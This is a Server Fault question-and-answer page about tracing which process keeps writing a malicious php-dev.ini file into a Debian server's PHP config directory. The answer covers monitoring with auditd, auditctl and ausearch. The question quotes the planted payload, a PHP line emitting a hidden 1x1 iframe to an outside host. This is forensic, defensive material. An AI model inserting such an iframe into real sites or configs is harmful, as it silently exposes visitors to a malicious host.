Take the 2-minute tour ×
Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

I have a Server running Debian Lenny. Recently I've encountered a few security issues. I am specifically seeing a file get created within /etc/php5/conf.d named 'php-dev.ini'. At first glance the file looks normal and harmless, until you open it up. It contained:

<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>

Obviously I know the server has a security issue so please spare me the "did you patch the server?" responses. That is already done. The server has been checked for a rootkit and there are no suspicious accounts. I am especially interested in what user or PID is writing to this directory and am looking what tools can be used to help me. I've looked into 'iwatch' and 'inotify' but wanted to get some feedback from anyone else before I go down a path of research. Does anyone know of a good tool that would help me identify:

  1. what user is writing to this directory
  2. what PID was used to write the file
  3. which application is writing to this directory

Basically I'm looking to do some forensics and learn about monitoring file systems. Any insight would be greatly appreciated.

(Edited to quote the PHP code sample as it was not displayed previously.)

share|improve this question
    
Someone wrote a file to what should be a root-only directory and you just "checked for a rootkit"? Duuuuude. –  womble Aug 4 '11 at 6:51
    
Please tag the name of your operating system when you are writing operating system related questions. –  snap Aug 4 '11 at 8:04

1 Answer 1

Linux kernel has had audit subsystem since some release of 2.6 series. Together with auditd daemon and various reporting tools such as aureport and ausearch it allows very fine-grained monitoring.

So let's say you want to monitor that /etc/php5/conf.d directory, or possibly just /etc/php5/conf.d/php-dev.ini file. First install auditd and get it running; should be as easy as apt-get install auditd.

Then setup monitor for that file:

auditctl -w /etc/php5/conf.d/php5-dev.ini -p war -k uniquekeyforidentifyingthiswatch

The unique key helps you for seaching possibly large logs if you are auditing lots of things.

Then, to see if something interesting has happened on that file:

ausearch -f /etc/php5/conf.d/php5-dev.ini

This should produce a report similar to this one (I just did set up a watch for /etc/elinks.conf for demonstration purposes for you):

----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71152): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71152):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71152): arch=c000003e syscall=191 success=yes exit=27 a0=2601ce0 a1=3c12015d8b a2=26d1a60 a3=ff items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71153): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71153):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71153): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=0 items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71154): item=1 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=PATH msg=audit(1312439060.306:71154): item=0 name="/etc/" inode=12 dev=fd:00 mode=040755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71154):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71154): arch=c000003e syscall=87 success=no exit=-13 a0=2601ce0 a1=0 a2=0 a3=3c107933ac items=2 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"
----
time->Thu Aug  4 09:24:20 2011
type=PATH msg=audit(1312439060.306:71155): item=0 name="/etc/elinks.conf" inode=57674 dev=fd:00 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0
type=CWD msg=audit(1312439060.306:71155):  cwd="/home/jpikk/tmp"
type=SYSCALL msg=audit(1312439060.306:71155): arch=c000003e syscall=2 success=no exit=-13 a0=2601ce0 a1=241 a2=1a4 a3=3c107933ac items=1 ppid=6643 pid=6672 auid=500 uid=500 gid=500 euid=500 suid=500 fsuid=500 egid=500 sgid=500 fsgid=500 tty=pts7 ses=6075 comm="vim" exe="/usr/bin/vim" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="uniquekeyforidentifyingthiswatch"

Wow, lots of stuff in there. You'll see file name and its inode number that got accessed, raw device, SELinux context (if SELinux is used), current path the user/process had while trying to perform the operation, failed/succeeded syscall, uid/gid/effective uid of the user and the possible file system ACLs, tty where the operation was done, command and the final executable the command led, SELinux role, and so on. I just opened up that file to vim.

Further monitoring can be done by installing security framework such as grsecurity or SELinux. Especially grsecurity can be helpful since with it you can more easily (compared to SELinux) set up a special user group that gets audited and then you can log possible fork bombs, signals, chroot escape attempts and so on they try to perform. But, that can be overkill and a burden for you to watch.

share|improve this answer
    
Janne, TY so much for the details. I really appreciate it! –  SoMoSparky Aug 4 '11 at 6:49
    
Very good writeup. –  womble Aug 4 '11 at 6:49
    
@womble: Thank you, I'll still be here all week. :-) –  Janne Pikkarainen Aug 4 '11 at 6:59

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.